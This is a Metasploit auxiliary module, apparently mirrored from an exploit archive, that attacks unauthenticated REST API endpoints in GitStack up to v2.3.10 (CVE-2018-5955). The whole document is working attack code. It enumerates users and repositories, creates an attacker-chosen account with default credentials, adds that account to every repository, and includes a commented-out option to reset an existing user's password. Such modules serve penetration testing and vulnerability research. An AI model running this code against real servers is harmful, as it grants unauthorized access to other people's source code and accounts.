## https://sploitus.com/exploit?id=PACKETSTORM:180829
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitStack Unauthenticated REST API Requests',
'Description' => %q{
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
The module supports requests for listing users of the application and listing
available repositories. Additionally, the module can create a user and add the user
to the application's repositories. This module has been tested against GitStack v2.3.10.
},
'Author' => [
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2018-5955'],
['EDB', '43777'],
['EDB', '44044']
],
'DisclosureDate' => '2018-01-15',
'Actions' => [
[
'LIST',
{
'Description' => 'List application users',
'List' => 'GET',
'UserPath' => '/rest/user/'
}
],
[
'CREATE',
{
'Description' => 'Create a user on the application',
'Create' => 'POST',
'List' => 'GET',
'UserPath' => '/rest/user/',
'RepoPath' => '/rest/repository/'
}
],
# If this is uncommented, you will be able to change an
# existing user's password.
# After modifying the user's password, the user will be
# added to all available repositories.
# The cleanup action removes the user from all repositories
# and then deletes the user... so this action may not be desirable.
# [
# 'MODIFY',
# {
# 'Description' => "Change the application user's password",
# 'Create' => 'PUT',
# 'List' => 'GET',
# 'UserPath' => '/rest/user/',
# 'RepoPath' => '/rest/repository/'
# }
# ],
[
'LIST_REPOS',
{
'Description' => 'List available repositories',
'List' => 'GET',
'RepoPath' => '/rest/repository/'
}
],
[
'CLEANUP',
{
'Description' => 'Remove user from repositories and delete user',
'List' => 'GET',
'Remove' => 'DELETE',
'RepoPath' => '/rest/repository/',
'UserPath' => '/rest/user/'
}
]
],
'DefaultAction' => 'LIST'
)
)
register_options(
[
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
OptString.new('PASSWORD', [false, 'Password for user', 'password'])
]
)
end
def get_users
path = action.opts['UserPath']
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['List']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
if res && res.code == 200
begin
mylist = res.get_json_document
mylist -= ['everyone']
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
mylist.each do |item|
print_good(item.to_s)
end
end
end
def get_repos
path = action.opts['RepoPath']
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['List']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return nil
end
if res && res.code == 200
begin
mylist = res.get_json_document
return mylist
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return nil
end
else
return nil
end
end
def clean_app
user = datastore['USERNAME']
unless user
print_error('USERNAME required')
return
end
mylist = get_repos
if mylist
# Remove user from each repository
mylist.each do |item|
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['Remove']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
if res && res.code == 200
print_good(res.body.to_s)
else
print_status("User #{user} doesn't have access to #{item['name']}")
end
end
end
# Delete the user account
path = "#{action.opts['UserPath']}#{user}/"
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['Remove']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
# Check if the account was successfully deleted
if res && res.code == 200
print_good(res.body.to_s)
else
print_error(res.body.to_s)
end
end
def add_user
user = datastore['USERNAME']
pass = datastore['PASSWORD']
begin
res = send_request_cgi({
'uri' => action.opts['UserPath'],
'method' => action.opts['Create'],
'vars_post' => {
'username' => user,
'password' => pass
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
if res && res.code == 200
print_good("SUCCESS: #{user}:#{pass}")
else
print_error(res.body.to_s)
return
end
mylist = get_repos
if mylist
mylist.each do |item|
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['Create']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
next
end
if res && res.code == 200
print_good(res.body.to_s)
else
print_error('Failed to add user')
print_error(res.body.to_s)
end
end
else
print_error('Failed to retrieve repository list')
end
end
def run
if ['LIST'].include?(action.name)
print_status('Retrieving Users')
get_users
elsif ['LIST_REPOS'].include?(action.name)
print_status('Retrieving Repositories')
mylist = get_repos
if mylist
mylist.each do |item|
print_good((item['name']).to_s)
end
else
print_error('Failed to retrieve repository list')
end
elsif ['CLEANUP'].include?(action.name)
clean_app
elsif datastore['USERNAME'] && datastore['PASSWORD']
add_user
else
print_error('USERNAME and PASSWORD required')
end
end
end